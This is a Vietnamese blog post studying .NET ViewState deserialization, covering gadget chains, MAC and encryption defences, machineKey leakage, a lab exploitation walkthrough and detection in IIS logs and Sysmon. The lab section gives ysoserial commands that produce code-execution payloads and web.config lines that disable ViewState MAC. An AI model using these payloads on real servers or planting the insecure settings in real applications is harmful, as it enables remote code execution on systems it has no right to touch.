---
# System prepended metadata

title: 'Nghiên cứu .NET ViewState Deserialization - Điểm yếu, cách khai thác và phát hiện'
tags: [ViewState, Research, Deserialization]

---

# Nghiên cứu .NET ViewState Deserialization - Điểm yếu, cách khai thác và phát hiện
## Tại sao mình viết blog này ?
- Dù đã có nhiều CVE liên quan đến insecure deserialization nói chung và ViewState nói riêng từ hơn 10 năm trước, nhưng hiện tại vẫn có những cuộc tấn công khai thác cơ chế này để RCE vào hệ thoongs
- Trong khoảng thời gian mình viết blog, Google cũng có publish một bài liên quan [https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability]
- Sếp nói mình làm:)
---
## Nội dung chính
### Tổng quan về ViewState
- **ViewState** là một cơ chế của ASP.NET Web Forms dùng để lưu trữ trạng thái của page và các server control (button, form,...)
- Nó tồn tại dưới dạng một trường ẩn (**__VIEWSTATE**) trong mã nguồn của page, giá trị của nó được khởi tạo khi bạn truy cập page lần đầu. Giá trị của tham số này là kết quả sau khi server thực hiện quá trình serialize dữ liệu trạng thái page
![viewstate](https://hackmd.io/_uploads/H1L6e2dnge.png)
$\Rightarrow$ Cho phép server khôi phục lại trạng thái của page sau mỗi lần người dùng tương tác (postback) mà không cần giữ kết nối hay session liên tục.
- Cơ chế này chỉ tồn tại ở các phiên bản *.NET Framework*. Với *.NET Core* hay *.NET MVC* thì cơ chế này đã bị loại bỏ.
---
### Điểm yếu trong cơ chế deserialization
- **ViewState deserialization**: Khi người dùng thực hiện một postback, trình duyệt gửi một POST request chứa param **__VIEWSTATE** cho server. Server sẽ deserialize giá trị này để khôi phục page về trạng thái trước khi postback + những sự thay đổi từ client
- Ví dụ thực tế đơn giản: bạn nhập thông tin vào một form đăng ký gì đấy, nhấn *Button* Submit thì 1 POST request sẽ được gửi, bạn lỡ nhập thiếu một *Textbox* nên server throw exception, thay vì bạn phải nhập lại từ đầu thì server đã giữ lại những gì bạn nhập trước đó và chỉ tô viền đỏ cái ô bạn nhập thiếu, kiểu vậy.
- Một góc nhìn khác: **ViewState deserialization** là quá trình server phục hồi trạng thái page dựa trên dữ liệu ***đầu vào từ người dùng, đầu vào từ người dùng, đầu vào từ người dùng...***, cái gì từ người dùng thì **zero-trust** nha mọi người
$\Rightarrow$ Lỡ giá trị của param **__VIEWSTATE** gửi đến server bị client sửa thành mã độc hại gì đấy thì sao ?
![image](https://hackmd.io/_uploads/BkF_jnOnle.png)
- Các bạn xài mấy tool có thể intercept request như *Burp Suite* thì sửa cái **__VIEWSTATE** này trong 1s
#### Server-side
- ASP.NET sử dụng **Formatter** để serialize/deserialize giá trị ViewState, thường thấy nhất là *LosFormatter* và *ObjectStateFormatter*
- Bản chất 2 cái Formatter trên không khác nhau lắm, *ObjectStateFormatter* nó dạng như là wrapper của *LosFormatter*, được sử dụng khi có thêm cơ chế xác thực/mã hóa ViewState
- Chúng chỉ đơn thuần là chuyển dữ liệu từ các object (trạng thái page) sang byte stream (**__VIEWSTATE**) và ngược lại mà thôi $\Rightarrow$ Không có cơ chế bảo mật nào được áp dụng ? Thế thì đi rồi ông giáo ạ !
#### Attacker-side
- **Gadget** là những đoạn mã “vô hại” có sẵn trong các thư viện .NET, được tận dụng để tạo thành một **gadget chain**, với nó attacker tạo nên 1 luồng thực thi không mong muốn trong quá trình deserialization ở server diễn ra.
![image (1)](https://hackmd.io/_uploads/rJSzC2O2lg.png)
- Lấy ví dụ về một gadget là *TypeConfuseDelegate*, nó sử dụng các Class trong *mscorlib.dll* - một thư viện được load sẵn khi các bạn tạo ra 1 web app bằng VS và publish nó lên một server, chẳng hạn như IIS ( từ đây xuống dưới ngữ cảnh là web app được publish lên IIS nhé)
- Tránh rườm rà (thật ra là mình cũng không tìm hiểu kỹ lắm đoạn này vì nó khá rối, mọi người có thể đọc thêm trong tài liệu tham khảo ở cuối blog) thì cách nó tạo chain là:
 
    - Tạo 1 lớp *Sorted<T>*, lớp này tự động gọi đến *Comparison<T>* delegate để so sánh mọi phần tử kiểu T
    - Thay vì delegate lớp này, attacker thực hiện kỹ thuật *type confusion* để khiến server trong quá trình xử lý delegate một lớp khác, mà lớp giả mạo này trỏ đến *Process.Start()* cho mục đích RCE
---
### Cơ chế bảo vệ
- Như bạn thấy, attacker-side thì lúc nào cũng có thể sửa payload, lại tận dụng cái mặc định có sẵn $\Rightarrow$ Phía server-side **bắt buộc phải có cơ chế bảo vệ**
#### MAC & Encryption
```csharp
    enableViewStateMAC="true"
    ViewStateEncryptionMode="Always","Auto"
```
- Cơ chế xác thực/mã hóa ViewState có thể được bật nếu các biến cấu hình tương ứng được enable — việc này có thể thực hiện trong web.config hoặc mặc định theo phiên bản .NET Framework đang sử dụng (một số phiên bản đã bật mặc định).

    - MAC (Message Authentication Code) giúp đảm bảo tính toàn vẹn của ViewState, tránh việc bị sửa đổi.
    - Encryption bảo đảm tính bảo mật của ViewState, ngăn kẻ tấn công đọc nội dung nhạy cảm và phân tích để tạo gadget chain.
    - MAC thường được bật mặc định trong các phiên bản .NET Framework — Microsoft bắt buộc sử dụng, nhưng admin/dev vẫn có thể tắt. Trong khi đó, mã hóa là tùy chọn vì ảnh hưởng tới hiệu năng.
![image](https://hackmd.io/_uploads/HJ-u3kthlx.png)
```csharp
<!--Tắt MAC dù đã bật AspNetEnforceViewStateMAC=1-->
<configuration>
  <appSettings>
    <add key="aspnet:AllowInsecureDeserialization" value="true" />
  </appSettings>
</configuration>
```
- Khóa và thuật toán cho hai cơ chế trên được tạo và lưu trữ ở phía server; chúng được dùng để ký/mã hóa ViewState khi serialize lần đầu và để xác thực/giải mã trước khi deserialize ở các lần sau.
- Những khóa này gọi chung là machineKey, có thể cấu hình trong web.config hoặc trên IIS; có thể đặt static hoặc Auto-Generate (cơ chế này khá rườm rà).
- Thực tế cho thấy, trong môi trường web farm có load balancer, khóa phải là tĩnh (static) để đảm bảo các server dùng chung khóa, tránh vấn đề hiệu suất và tương thích.

#### Điểm yếu khi triển khai

- Khi áp dụng cơ chế bảo mật, cần nhận thức rằng chính nó cũng là một attack surface nếu không triển khai đúng và an toàn. Một số điểm yếu thực tế:

    - Nếu khóa bị lộ, cơ chế bảo mật trở nên vô dụng. Attacker chỉ cần biết khóa — các yếu tố khác thường có thể thu thập hoặc bypass bằng công cụ và thời gian - những thứ mà attacker không hề thiếu
    - Thuật toán: IIS sử dụng một tập thuật toán có giới hạn; attacker có thể thử lần lượt các thuật toán cùng key nếu đã có key.
    - **__VIEWSTATEGENERATOR**: tham số này đóng vai trò như một "salt" khi ký ViewState, được tạo từ đường dẫn page tương ứng. Attacker có thể lấy đường dẫn URL và thử debug với tool để bypass.
    - **ViewStateUserKey**: chỉ dùng để chống CSRF, không có chức năng chống RCE.

- Tóm lại, bảo vệ key là quan trọng nhất — nhưng nguyên nhân lộ key thường tới từ yếu tố con người $\Rightarrow$ misconfiguration (backup source public, publish git chứa web.config, v.v.). Trong hầu hết CVE liên quan, việc khai thác thường bắt nguồn từ key bị lộ.
---
### Khai thác
#### Attacker cần gì ?

1. Mục tiêu: page phải sử dụng ViewState.
2. Môi trường thuận lợi: payload có thể sửa mọi lúc, gadget chain thì dễ tạo bằng tool, cái attacker để tâm chính là MAC. Nếu nó tắt thì đơn giản hơn; nếu bật thì attacker phải tìm key.
3. Key: phần tốn thời gian nhất — chỉ có thể lấy được khi có misconfiguration hoặc lộ thông tin.
4. Tool: công cụ phổ biến là ysoserialize.

#### Cách khai thác - Lab

1. Tạo web app .NET Web Forms (tốt nhất tạo từ empty project) có server control (ví dụ Button). Chú ý target framework và cấu hình tĩnh trong web.config (để dễ kiểm soát MAC/Encryption).
```csharp
<!--Default.aspx-->
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="Test.Default" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <div>
         <asp:Button ID="Button1" runat="server" Text="Click Me" />
        </div>
    </form>
</body>
</html>

```
```csharp
<!--web.config-->
<?xml version="1.0" encoding="utf-8"?>
<!--
  For more information on how to configure your ASP.NET application, please visit
  https://go.microsoft.com/fwlink/?LinkId=169433
  -->
<configuration>
  <system.web>
    <compilation debug="true" targetFramework="4.7.2" />
    <httpRuntime targetFramework="4.7.2" />
    <pages enableViewStateMac="false" viewStateEncryptionMode="Never"/>
  </system.web>
  <!--<appSettings>
    <add key="aspnet:AllowInsecureDeserialization" value="true" />
  </appSettings>-->
</configuration>
```
2. Publish lên IIS, cấu hình App Pool, Machine Key, Directory Browser, Binding... Truy cập vào .aspx và kiểm tra có __VIEWSTATE trong source hay không. Đặc biệt, vì config của server thường sẽ ghi đè phần ta đã cấu hình, nên để đảm bảo thì sửa Machine Key ở server giống như trong web.config.
![image](https://hackmd.io/_uploads/HyuHsJF3el.png)
![image](https://hackmd.io/_uploads/S1Mus1t2gl.png)

3. Dùng ysoserialize để tạo payload:
- Trường hợp MAC tắt (không cần key):
```powershell
.\ysoserial\bin\Release\ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "whoami > c:\windows\temp\whoami.txt"
```
- Trường hợp MAC bật (cần key & thuật toán):
```powershell
    .\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="<path>" --apppath="<apppath>" --validationalgo="<valalgo>" --validationkey="<key>" --decryptionalgo="<encalgo>" --decryptionkey="<key>" -c "whoami > c:\windows\temp\whoami2.txt"
```
4. Dán payload vào giá trị __VIEWSTATE trong request đã intercept và gửi. Nếu server trả về 500 kèm mô tả như hình đầu tiên trong 2 hình dưới đây thì có khả năng payload hợp lệ (có 3 nguyên nhân gây lỗi 500: payload không đúng độ dài, validation MAC failed, hoặc RCE thành công — response server không phân biệt rõ giữa 1 và 3).
![image](https://hackmd.io/_uploads/Hy23Jlt3el.png)
![image](https://hackmd.io/_uploads/Hyf01xthll.png)

5. Kiểm tra file kết quả trên server (c:\windows\temp\whoami.txt hoặc tương tự). Nếu file tồn tại $\Rightarrow$ RCE thành công.

### Phát hiện
- Mọi bước từ recon đến post-exploit đều để lại dấu vết:

    - **IIS Logs**: nơi đầu tiên để tìm manh mối — request bất thường như fuzzing, các GET request tới nhiều tài nguyên (tập trung vào .aspx, .config,...), User-Agent lạ
    - **POST** với payload ViewState giả mạo: có thể là POST với mã **200** trước, lúc này nó chỉ đang test chứ chưa sửa payload, sau khi RCE thành công thì dẫn tới mã trả về **500** (xem phần trên).
    - Nếu RCE thành công, hầu hết hoạt động sẽ được ghi lại trong **Windows Event Viewer** hoặc **Sysmon**(nếu có): tạo file, tạo process, kết nối outbound, thêm user,... Lưu ý user hiển thị trong event sẽ tương ứng với **App Pool** của site; tiến trình tạo ra sẽ là con của **w3wp.exe.**

---
### Có thể bạn sẽ tự hỏi
1. Tại sao không tạo payload gọi trực tiếp *Process.Start()* luôn mà phải mất công tạo gadget chain ?
    - Vì cái luồng này nó phải dựa trên quá trình deserialization ban đầu - chuyển đổi byte stream thành object, nó mặc định không bao giờ có thể thực thi mã mà chỉ có tạo ra các đối tượng thôi. Cho nên, attacker sử dụng **gadget chain** để trong quá trình tạo đối tượng sẽ nhảy sang một luồng có thể thực thi mã
2. Tại sao RCE thành công mà mã lại là 500 ?
    - Dữ liệu sau deserialization server muốn là các object, nhưng RCE lại không trả về chúng cho nên server sẽ bị error. Error chỉ tác động vào phía server, mã thực thi vẫn có thể chạy và từ đó tạo file trên hệ thống
3. Attacker sau khai thác có thể làm gì ?
    - Như đã nói user đại diện cho kẻ tấn công tương ứng với app pool đã gán cho site mà attacker đã RCE qua
    - Thông thường, pool được gán mặc định là **AppliationPoolIdentity** - một pool có quyền bị giới hạn, khi thể hiện trong event sẽ ở dạng **IIS Appool\\{Name}**,quyền của loại user này sẽ kế thừa từ nhóm **IIS_USRS** , bạn có thể kiểm tra tab **Security** khi xem *Properties* của một tệp để biết IIS_USRS có quyền gì với tệp đó, từ đấy suy ra khả năng của attacker
    - Và tất nhiên, nếu pool được gán cho site là một pool khác với đặc quyền cao như NT AUTHORITY\\SYSTEM, LOCAL SERVICE,...thì quyền của attacker sẽ cao hơn
---
### Nguồn tham khảo
1. Nghiên cứu .NET ViewState Deserialization và cách khai thác [https://quantt86.medium.com/nghi%C3%AAn-c%E1%BB%A9u-net-viewstate-deserialization-v%C3%A0-c%C3%A1ch-khai-th%C3%A1c-ce07564d1461]
2. Exploiting Deserialisation in ASP.NET via ViewState [https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate]
3. View State, The unpatchable IIS forever day being actively exploited [https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/]